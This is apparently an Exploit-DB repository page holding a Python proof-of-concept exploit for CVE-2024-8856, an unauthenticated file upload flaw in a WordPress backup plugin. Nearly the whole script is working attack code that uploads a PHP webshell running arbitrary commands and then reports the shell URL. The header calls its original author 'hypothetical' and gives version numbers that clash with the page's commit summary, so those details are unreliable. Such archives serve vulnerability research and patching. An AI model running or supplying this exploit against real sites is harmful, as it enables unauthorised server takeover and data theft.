881542919e
7 changes to exploits/shellcodes/ghdb DataEase 2.4.0 - Database Configuration Information Exposure Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Watcharr 1.43.0 - Remote Code Execution (RCE) WBCE CMS 1.6.3 - Authenticated Remote Code Execution (RCE) Backup and Staging by WP Time Capsule 1.22.21 - Unauthenticated Arbitrary File Upload Reservit Hotel 2.1 - Stored Cross-Site Scripting (XSS)
93 lines
No EOL
3.2 KiB
Python
Executable file
93 lines
No EOL
3.2 KiB
Python
Executable file
# Exploit Title: WordPress Backup and Staging Plugin ≤ 1.21.16 - Arbitrary File Upload to RCE
|
|
# Original Author: Patchstack (hypothetical)
|
|
# Exploit Author: Al Baradi Joy
|
|
# Exploit Date: April 5, 2025
|
|
# Vendor Homepage: https://wp-timecapsule.com/
|
|
# Software Link: https://wordpress.org/plugins/wp-time-capsule/
|
|
# Version: Up to and including 1.21.16
|
|
# Tested Versions: 1.21.16
|
|
# CVE ID: CVE-2024-8856
|
|
# Vulnerability Type: Arbitrary File Upload / Remote Code Execution
|
|
# Description:
|
|
# The WordPress plugin "Backup and Staging by WP Time Capsule" up to version 1.21.16
|
|
# allows unauthenticated attackers to upload arbitrary files via the upload.php endpoint.
|
|
# This can lead to remote code execution if a PHP file is uploaded and executed directly
|
|
# from the wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/ directory.
|
|
# Proof of Concept: Yes
|
|
# Categories: WordPress Plugin, File Upload, RCE
|
|
# CVSS Score: 9.9 (Critical)
|
|
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
# Notes:
|
|
# Successful exploitation provides shell access as the user running the web server.
|
|
# Ensure target is using the vulnerable plugin version before launching the attack.
|
|
|
|
import requests
|
|
|
|
# Banner
|
|
def display_banner():
|
|
print("="*80)
|
|
print("Exploit Title: CVE-2024-8856 - WordPress Backup and Staging
|
|
Plugin Arbitrary File Upload")
|
|
print("Made By Al Baradi Joy")
|
|
print("="*80)
|
|
|
|
# Function to detect if the target supports HTTPS or falls back to HTTP
|
|
def detect_protocol(domain):
|
|
https_url = f"https://{domain}"
|
|
http_url = f"http://{domain}"
|
|
|
|
try:
|
|
response = requests.get(https_url, timeout=5, allow_redirects=True)
|
|
if response.status_code < 400:
|
|
print(f"[✔] Target supports HTTPS: {https_url}")
|
|
return https_url
|
|
except requests.exceptions.RequestException:
|
|
print("[!] HTTPS not available, falling back to HTTP.")
|
|
|
|
try:
|
|
response = requests.get(http_url, timeout=5, allow_redirects=True)
|
|
if response.status_code < 400:
|
|
print(f"[✔] Target supports HTTP: {http_url}")
|
|
return http_url
|
|
except requests.exceptions.RequestException:
|
|
print("[✖] Target is unreachable on both HTTP and HTTPS.")
|
|
exit(1)
|
|
|
|
# Exploit function
|
|
def exploit(target_url):
|
|
target_url = detect_protocol(target_url.replace("http://",
|
|
"").replace("https://", "").strip())
|
|
upload_url =
|
|
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload.php"
|
|
shell_url =
|
|
f"{target_url}/wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/shell.php?cmd=whoami"
|
|
|
|
files = {
|
|
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>',
|
|
'application/x-php')
|
|
}
|
|
|
|
try:
|
|
print(f"[+] Attempting to upload shell to: {upload_url}")
|
|
response = requests.post(upload_url, files=files, timeout=10)
|
|
|
|
if response.status_code == 200:
|
|
print(f"[✔] Exploit successful! Webshell available at:
|
|
{shell_url}")
|
|
else:
|
|
print(f"[✖] Failed to upload shell. Status code:
|
|
{response.status_code}")
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
print("[✖] Connection failed. Target may be down.")
|
|
except requests.exceptions.Timeout:
|
|
print("[✖] Request timed out. Target is slow or unresponsive.")
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[✖] Unexpected error: {e}")
|
|
|
|
# Main execution
|
|
if __name__ == "__main__":
|
|
display_banner()
|
|
target = input("[?] Enter the target URL (without http/https):
|
|
").strip()
|
|
exploit(target) |